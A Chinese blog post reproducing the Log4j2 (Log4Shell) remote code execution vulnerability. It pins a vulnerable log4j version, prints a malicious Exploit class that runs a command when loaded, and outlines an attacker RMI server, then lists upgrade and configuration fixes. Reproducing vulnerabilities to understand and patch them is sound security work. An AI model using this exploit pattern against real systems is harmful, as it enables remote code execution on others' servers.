当前位置:网站首页>手把手教你复现Log4j2核弹级漏洞
手把手教你复现Log4j2核弹级漏洞
2022-07-17 05:06:00 【dafeng2773】
简介
近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。
漏洞概述
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
影响范围
Apache Log4j 2.x <= 2.15.0-rc1漏洞复现
1.环境搭建
创建一个新的maven项目,并导入Log4j的依赖包

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.0</version>
</dependency>
</dependencies>2.漏洞利用,使用Log4jTest.java测试

3.编译一恶意类Exploit.class
首先新建Exploit.java,然后编译为class文件。

class Exploit {
static {
System.err.println("Evil has been there");
try{
String cmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exception e){
e.printStackTrace();
}
}
}4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口

5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令

修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2建议同时采用如下临时措施进行漏洞防范:
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
部署使用第三方防火墙产品进行安全防护。
参考链接:
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
技术交流
源码放在评论区
欢迎转载、收藏、有所收获点赞支持一下!
边栏推荐
- Word2Vec原理及应用与文章相似度(推荐系统方法)
- Wechat applet wx Setclipboarddata copy text
- [p5.js] simulated fireworks effect - interactive media design assignment
- [ES6] explain in detail the common objects and other methods of set and array (full version)
- 机器学习之特征提取(类别特征进行数值化、离散化、文本特征进行数值化)
- uniapp 表单(input、radio、picker)提交获取参数值
- 简单快速建立pytorch环境YOLOv5目标检测 模型跑起来(超简单)
- 获取数组中对象内部的数值最大与最小值多功能版及点名系统完整版并展示效果
- Convolutional neural network
- 【C语言—零基础第九课】函数中的爱恨情仇
猜你喜欢

Use of flask

Use of transactions - Django, SQL tools

ThreadLocal thread safety example and its principle

实习项目2-主页配置-我的数据模块

Uniapp uses uview to realize folding panel

这么6的刷题网站你不会没听说过吧?你已经out 了?

关于New_Online_Judge_1081_哥德巴赫猜想的思考

实习项目3-更改所有者

Internship project 2 - Homepage configuration - my data module

【LeetCode——编程能力入门第一天】基本数据类型[在区间范围内统计奇数数目/去掉最低工资和最高工资后的工资平均值)
随机推荐
uniapp 表单(input、radio、picker)提交获取参数值
ArcGIS Pro发布服务
Interface parameters return encapsulated class result
NVIDIA GeForce Experience登录报错:验证程序加载失败,请检查您的浏览器设置,例如广告拦截程序(解决办法)
微信小程序状态栏
Using JS to realize the second level menu of anjuke and the full version (demonstration of precautions and problem points)
[ES6] explain in detail the common objects and other methods of set and array (full version)
微信小程序wx.setClipboardData复制文本
【C语言—零基础第七课】顺序结构与选择结构
645. 错误的集合
【C语言—零基础_学习_复习_第五课】基本运算符的运算性质
【Es6】利用添加数据,筛选并传输至页面等多项功能实现案例
Three high concurrency methods to realize I++
Database training 7 [index and creation of data integrity constraints]
遍历的方法总结
热更新及其原理
02_電影推薦(ContentBased)_用戶畫像
【Es6】快速实现用户信息打印至页面中
【C语言—零基础第十一课】旋转大转盘之指针
实习项目3-更改所有者